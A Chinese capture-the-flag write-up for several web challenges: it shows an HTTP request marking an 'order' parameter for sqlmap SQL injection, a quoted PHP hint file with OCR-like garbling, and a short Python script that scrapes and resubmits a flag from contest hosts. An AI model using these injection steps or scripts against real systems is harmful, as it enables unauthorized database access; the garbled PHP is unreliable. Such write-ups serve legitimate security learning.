## 1. order

打开题目,发现URL上面order参数会影响查询结果顺序,直接加\*丢入sqlmap

```
GET /?order=name*&button=submit HTTP/1.1
Host: 101.71.29.5:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://101.71.29.5:10004/?order=id&button=submit
Cookie: Hm_lvt_d532469474a471feb9f849e2bf8fb4c1=1532150292;
Hm_lpvt_d532469474a471feb9f849e2bf8fb4c1=1532150313
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```

最终在得到flag{666\_0rdorby\_you\_can}

## 2. 就是这么直接

<?php

在index.php 下有 hint.php 的提示。进入得到hint.php的源码如下:

```
$kev = "******":
srand(time());
a = rand(0, 100);
b = rand(0, 100);
c = rand(0, 100);
d = rand(0, 100);
e = rand(0, 100);
\text{sresult} = (((\$a - \$b)/\$c) + \$d) * \$e;
$result = md5($key. $result. $key);
show source( FILE );
?>
好吧,这题目真简单...还想着哈西扩展咋弄...答案都告诉你了。这题目有点水啊...
import re
import requests
r = requests.post(url = 'http://101.71.29.5:10003/flag.php', data = {'answer':'1'*32})
x = r. text
flag = re. findall(r'' < !--(.*?)-->'', x)
print(flag[0])
r = requests.post(url = 'http://101.71.29.5:10003/flag.php', data =
{'answer':flag[0]})
print(r. text)
```

## **WEB 3**

WEB 3 没有做出来,据说特别难。在听了直播课后感觉收获很大。

后来周周练的时候,验证码好像被人日了,并且验证码输对了传文件也传不上去。可真是吐血实在不行,就复现了个csrf flash 的方法。但是自己电脑的flash死活加载不出来。

后来想到了一个非预期解,在之后可以提及一下。但是由于环境坏了,所以也不能证明自己的想法是否正确。
